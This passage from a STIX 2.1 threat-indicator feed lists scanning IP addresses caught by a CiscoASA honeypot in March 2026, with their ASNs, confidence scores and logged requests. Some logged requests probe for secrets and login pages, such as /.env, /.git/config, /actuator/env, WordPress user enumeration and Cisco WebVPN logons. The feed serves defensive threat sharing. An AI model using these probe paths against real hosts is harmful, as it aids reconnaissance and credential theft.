            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T10:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--83ff0094-a497-41dc-8edf-363f42dca0b6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:20:02.000Z",
      "valid_until": "2026-04-11T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-10T09:48:00.329Z",
          "last_seen": "2026-03-10T09:48:00.329Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T10:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--d4c022d3-29dd-4599-bcce-a68ec8c5fcf1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:20:02.000Z",
      "valid_until": "2026-04-11T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-10T09:47:45.504Z",
          "last_seen": "2026-03-10T09:47:45.504Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T10:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--8491adbf-536a-445e-8d79-c972e274da0e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:20:02.000Z",
      "valid_until": "2026-04-11T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-10T09:48:04.906Z",
          "last_seen": "2026-03-10T09:48:04.906Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T10:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--eaebd6c9-3be1-450a-b46e-304875015596",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:20:02.000Z",
      "valid_until": "2026-04-11T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-10T09:45:33.999Z",
          "last_seen": "2026-03-10T09:47:56.669Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T10:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--442a663c-4f25-4c57-b512-b0650dce17a7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:20:02.000Z",
      "valid_until": "2026-04-11T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-10T09:46:11.655Z",
          "last_seen": "2026-03-10T09:46:11.655Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T10:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--6da13d90-6bbc-48bb-af9f-1c3c87edaec0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:20:02.000Z",
      "valid_until": "2026-04-11T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-10T09:47:35.079Z",
          "last_seen": "2026-03-10T09:47:39.936Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T11:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--d821c922-f232-4d64-8303-b5664388a2b2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T11:20:02.000Z",
      "valid_until": "2026-04-11T11:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 5,
          "first_seen": "2026-03-10T10:54:49.035Z",
          "last_seen": "2026-03-10T10:56:38.835Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T13:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--28ef5c1b-dc7b-4a1f-a9f5-43a4e0fdef4c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '147.182.200.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T13:20:02.000Z",
      "valid_until": "2026-04-11T13:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 41,
          "first_seen": "2026-03-10T12:59:24.161Z",
          "last_seen": "2026-03-10T13:00:26.900Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /.DS_Store HTTP/1.1\" 404 -",
            "\"GET /.env HTTP/1.1\" 404 -",
            "\"GET /.git/config HTTP/1.1\" 404 -",
            "\"GET /.vscode/sftp.json HTTP/1.1\" 404 -",
            "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
            "\"GET /?rest_route=/wp/v2/users/ HTTP/1.1\" 404 -",
            "\"GET /@vite/env HTTP/1.1\" 404 -",
            "\"GET /about HTTP/1.1\" 404 -",
            "\"GET /actuator/env HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T13:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--51edd777-92b6-4571-a16c-5e72651206c2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '209.97.155.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T13:20:02.000Z",
      "valid_until": "2026-04-11T13:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-10T13:08:41.108Z",
          "last_seen": "2026-03-10T13:08:47.968Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T16:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: SG; ASN 396982 (Google LLC)",
      "id": "indicator--8e957f90-2154-4574-89c2-0cd465b3c0cf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '34.142.128.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T16:20:14.000Z",
      "valid_until": "2026-04-11T16:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-10T15:47:34.260Z",
          "last_seen": "2026-03-10T15:47:34.652Z",
          "country": "Singapore",
          "country_code": "SG",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T17:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--9da46e4a-fead-4c39-b03d-e0fec4827c76",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T17:20:06.000Z",
      "valid_until": "2026-04-11T17:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-10T16:59:41.179Z",
          "last_seen": "2026-03-10T16:59:41.179Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T19:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--4c6cdbc8-a164-4dcf-a731-377acf8050e0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '152.32.206.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T19:20:13.000Z",
      "valid_until": "2026-04-11T19:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 32,
          "first_seen": "2026-03-10T19:04:41.635Z",
          "last_seen": "2026-03-22T18:41:44.255Z",
          "country": "United States",
          "country_code": "US",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T19:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: NL; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--d00d0e50-1eb0-41b7-bbf3-b227d5a7c73d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '159.65.206.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T19:20:13.000Z",
      "valid_until": "2026-04-11T19:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-10T18:41:36.069Z",
          "last_seen": "2026-03-10T18:41:36.069Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-10T23:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 396356 (Latitude.sh)",
      "id": "indicator--5086dcd5-ed2c-44e1-9e33-f32234fa2969",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '173.239.240.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:20:13.000Z",
      "valid_until": "2026-04-11T23:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 624,
          "first_seen": "2026-03-10T22:33:53.020Z",
          "last_seen": "2026-03-17T19:13:55.892Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396356,
          "as_org": "Latitude.sh",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-11T01:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14987 (Rethem Hosting LLC)",
      "id": "indicator--d1c8d585-456e-4948-b5bc-f110a1c2b127",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:20:03.000Z",
      "valid_until": "2026-04-12T01:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-11T00:48:56.476Z",
          "last_seen": "2026-03-11T00:48:57.132Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14987,
          "as_org": "Rethem Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-11T01:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--3bdf1e3e-cdef-4ae9-941f-ea9250c44bc7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '13.222.58.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:20:03.000Z",
      "valid_until": "2026-04-12T01:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-11T00:54:15.975Z",
          "last_seen": "2026-03-11T00:54:15.975Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-11T02:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 202425 (IP Volume inc)",
      "id": "indicator--0cf49ea8-9e89-4b92-90c6-a2de6bac2695",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T02:20:03.000Z",
      "valid_until": "2026-04-12T02:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-11T01:39:17.460Z",
          "last_seen": "2026-03-20T11:58:46.940Z",
          "country": "United States",
          "country_code": "US",
          "asn": 202425,
          "as_org": "IP Volume inc",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-11T03:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--8f337b79-69b0-46c0-b7ce-ebd31734e123",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T03:20:03.000Z",
      "valid_until": "2026-04-12T03:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-11T03:02:40.437Z",
          "last_seen": "2026-03-11T03:02:40.437Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-11T03:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--79fed81a-5e18-47eb-bc38-e5605fc56b90",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T03:20:03.000Z",
      "valid_until": "2026-04-12T03:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-11T03:02:48.339Z",
          "last_seen": "2026-03-11T03:02:48.339Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-11T03:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--4a51b112-4e25-41db-916c-c459bf164dee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T03:20:03.000Z",
      "valid_until": "2026-04-12T03:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-11T03:03:10.712Z",
          "last_seen": "2026-03-18T07:52:06.724Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-11T04:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--5c68dcb0-3ef6-4d04-af84-504dab216e8d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.99.15.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T04:20:03.000Z",
      "valid_until": "2026-04-12T04:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-11T03:52:11.043Z",
          "last_seen": "2026-03-11T03:52:14.044Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-11T06:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--8cd54ffa-f4e6-4179-9bbc-455a371f0f5e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
